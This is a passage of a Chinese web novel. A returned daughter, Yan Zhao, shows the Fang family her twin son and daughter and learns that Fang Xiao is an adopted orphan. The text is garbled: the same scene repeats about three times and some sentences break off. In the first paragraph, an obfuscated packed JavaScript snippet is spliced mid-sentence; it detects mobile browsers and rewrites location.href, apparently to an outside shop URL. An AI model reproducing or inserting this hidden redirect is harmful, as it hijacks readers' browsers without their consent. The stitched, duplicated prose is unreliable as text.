方家人脸上顿时露出笑容，尤其是方母，拉着言昭的手不撒手，说：“咱们家有这个基因，你姑姑在香港也生了一对双胞胎，等以后我带你去那边玩。” 言昭笑着点头，又像是忽然想起什么，语气自然地问了一句。 “那方晓是我妹妹还是姐姐？” 这话一出来，客厅里的气氛一下子变了。 方家几个人的脸色几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338077|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎同时僵了一下。 方母的表情最明显，她本来还带着笑，这会儿一下子有些不知所措，嘴唇动了动又没说出什么。 方父轻轻叹了一口气。 方程低着头，看着桌面，也没有开口。 几个人的反应都落在言昭眼里。 方老太太冷着脸开口了：“囡囡，她不是你的姐妹，只是你妈当年捡回来的一个孤儿而已。” 方母被老太太这句话弄得有些不安。 她看着言昭，连忙解释起来。 “当时你丢了，我们到处找。后来有人说在孤儿院看到过一个孩子，很像你，我就过去找。” “就是那时候……看见了晓晓。” 方母说到这里，语气慢慢低了下来。 “她那时候很小，一个人在那里，也很可怜。我想着……照顾她，也算是做好事。” 言昭听完笑了笑。 她脸上的表情很平和，没有一点介意的样子。 “母亲，我不在的时候，能有人替我陪着你们，也挺好的。” 言昭的话刚落下，楼梯那边忽然传来脚步声。 “噔噔噔”几下。 方晓从楼上走了下来。 她明显是匆匆整理过的样子，头发梳得整整齐齐，脸上带着一个努力撑出来的笑容。 那笑容看着甜，却有点紧。 方晓在楼梯口停了一下，深吸了一口气，才继续往下走。 “妈咪！” 她走到方母身边，一下子挽住了她的胳膊。 方母被她这一声喊得愣了一下，很快又回过神来，伸手拍了拍她的手。 “晓晓，以后昭昭是你姐姐，你们要好好相处。” 方晓脸上的笑容瞬间僵了一下。 那一瞬间很短，但还是能看出来她的表情有点绷。 不过她很快又恢复过来，重新露出一个甜甜的笑容。 她转头看向言昭。 “原来是姐姐。”她语气轻快得有点刻意：“上次的事情真的很抱歉，早知道你是我姐姐，那个胸针就直接送给你啦，反正也没多少钱。” 这句话听起来像是在道歉。 可那语气里带着一点说不清的别扭。 气，红唇齿白的，从小就经常被人认成小姑娘。 她赶紧解释：“奶奶，不是双胞胎，这个是我儿子。”然后又指向另一个在阿姨怀里不停挥手蹬腿的小家伙。 “那个是我女儿。” 方家几个人一时间都愣了一下。 他们刚刚一直以为两个都是女娃娃。 尤其是那个被说成儿子的，小脸白白净净，眼睛又大又亮，眉眼精致得过分。 安安静静被抱着的时候，看着就像个漂亮的小姑娘。 其实另一个女儿长得更好看，虽然现在年纪还小，可那张脸的轮廓已经很清楚了，像足了顾煜。 明眼人都知道，女娃娃再长开一点，肯定是个特别漂亮的大美人！ 那就是说昭昭生了个龙凤胎！ 方家人脸上顿时露出笑容，尤其是方母，拉着言昭的手不撒手，说：“咱们家有这个基因，你姑姑在香港也生了一对双胞胎，等以后我带你去那边玩。” 言昭笑着点头，又像是忽然想起什么，语气自然地问了一句。 “那方晓是我妹妹还是姐姐？” 这话一出来，客厅里的气氛一下子变了。 方家几个人的脸色几乎同时僵了一下。 方母的表情最明显，她本来还带着笑，这会儿一下子有些不知所措，嘴唇动了动又没说出什么。 方父轻轻叹了一口气。 方程低着头，看着桌面，也没有开口。 几个人的反应都落在言昭眼里。 方老太太冷着脸开口了：“囡囡，她不是你的姐妹，只是你妈当年捡回来的一个孤儿而已。” 方母被老太太这句话弄得有些不安。 她看着言昭，连忙解释起来。 “当时你丢了，我们到处找。后来有人说在孤儿院看到过一个孩子，很像你，我就过去找。” “就是那时候……看见了晓晓。” 方母说到这里，语气慢慢低了下来。 “她那时候很小，一个人在那里，也很可怜。我想着……照顾她，也算是做好事。” 言昭听完笑了笑。 她脸上的表情很平和，没有一点介意的样子。 “母亲，我不在的时候，能有人替我陪着你们，也挺好的。” 言昭的话刚落下，楼梯那边忽然传来脚步声。 “噔噔噔”几下。 方晓从楼上走了下来。 她明显是匆匆整理过的样子，头发梳得整整齐齐，脸上带着一个努力撑出来的笑容。 那笑容看着甜，却有点紧。 方晓在楼梯口停了一下，深吸了一口气，才继续往下走。 “妈咪！” 她走到方母身边，一下子挽住了她的胳膊。 方母被她这一声喊得愣了一下，很快又回过神来，伸手拍了拍她的手。 “晓晓，以后昭昭是你姐姐，你们要好好相处。” 方晓脸上的笑容瞬间僵了一下。 那一瞬间很短，但还是能看出来她的表情有点绷。 不过她很快又恢复过来，重新露出一个甜甜的笑容。 她转头看向言昭。 “原来是姐姐。”她语气轻快得有点刻意：“上次的事情真的很抱歉，早知道你是我姐姐，那个胸针就直接送给你啦，反正也没多少钱。” 这句话听起来像是在道歉。 可那语气里带着一点说不清的别扭。 气，红唇齿白的，从小就经常被人认成小姑娘。 她赶紧解释：“奶奶，不是双胞胎，这个是我儿子。”然后又指向另一个在阿姨怀里不停挥手蹬腿的小家伙。 “那个是我女儿。” 方家几个人一时间都愣了一下。 他们刚刚一直以为两个都是女娃娃。 尤其是那个被说成儿子的，小脸白白净净，眼睛又大又亮，眉眼精致得过分。 安安静静被抱着的时候，看着就像个漂亮的小姑娘。 其实另一个女儿长得更好看，虽然现在年纪还小，可那张脸的轮廓已经很清楚了，像足了顾煜。 明眼人都知道，女娃娃再长开一点，肯定是个特别漂亮的大美人！ 那就是说昭昭生了个龙凤胎！ 方家人脸上顿时露出笑容，尤其是方母，拉着言昭的手不撒手，说：“咱们家有这个基因，你姑姑在香港也生了一对双胞胎，等以后我带你去那边玩。” 言昭笑着点头，又像是忽然想起什么，语气自然地问了一句。 “那方晓是我妹妹还是姐姐？” 这话一出来，客厅里的气氛一下子变了。 方家几个人的脸色几乎同时僵了一下。 方母的表情最明显，她本来还带着笑，这会儿一下子有些不知所措，嘴唇动了动又没说出什么。 方父轻轻叹了一口气。 方程低着头，看着桌面，也没有开口。 几个人的反应都落在言昭眼里。 方老太太冷着脸开口了：“囡囡，她不是你的姐妹，只是你妈当年捡回来的一个孤儿而已。” 方母被老太太这句话弄得有些不安。 她看着言昭，连忙解释起来。 “当时你丢了，我们到处找。后来有人说在孤儿院看到过一个孩子，很像你，我就过去找。” “就是那时候……看见了晓晓。” 方母说到这里，语气慢慢低了下来。 “她那时候很小，一个人在那里，也很可怜。我想着……照顾她，也算是做好事。” 言昭听完笑了笑。 她脸上的表情很平和，没有一点介意的样子。 “母亲，我不在的时候，能有人替我陪着你们，也挺好的。” 言昭的话刚落下，楼梯那边忽然传来脚步声。 “噔噔噔”几下。 方晓从楼上走了下来。 她明显是匆匆整理过的样子，头发梳得整整齐齐，脸上带着一个努力撑出来的笑容。 那笑容看着甜，却有点紧。 方晓在楼梯口停了一下，深吸了一口气，才继续往下走。 “妈咪！” 她走到方母身边，一下子挽住了她的胳膊。 方母被她这一声喊得愣了一下，很快又回过神来，伸手拍了拍她的手。 “晓晓，以后昭昭是你姐姐，你们要好好相处。” 方晓脸上的笑容瞬间僵了一下。 那一瞬间很短，但还是能看出来她的表情有点绷。 不过她很快又恢复过来，重新露出一个甜甜的笑容。 她转头看向言昭。 “原来是姐姐。”她语气轻快得有点刻意：“上次的事情真的很抱歉，早知道你是我姐姐，那个胸针就直接送给你啦，反正也没多少钱。” 这句话听起来像是在道歉。 可那语气里带着一点说不清的别扭。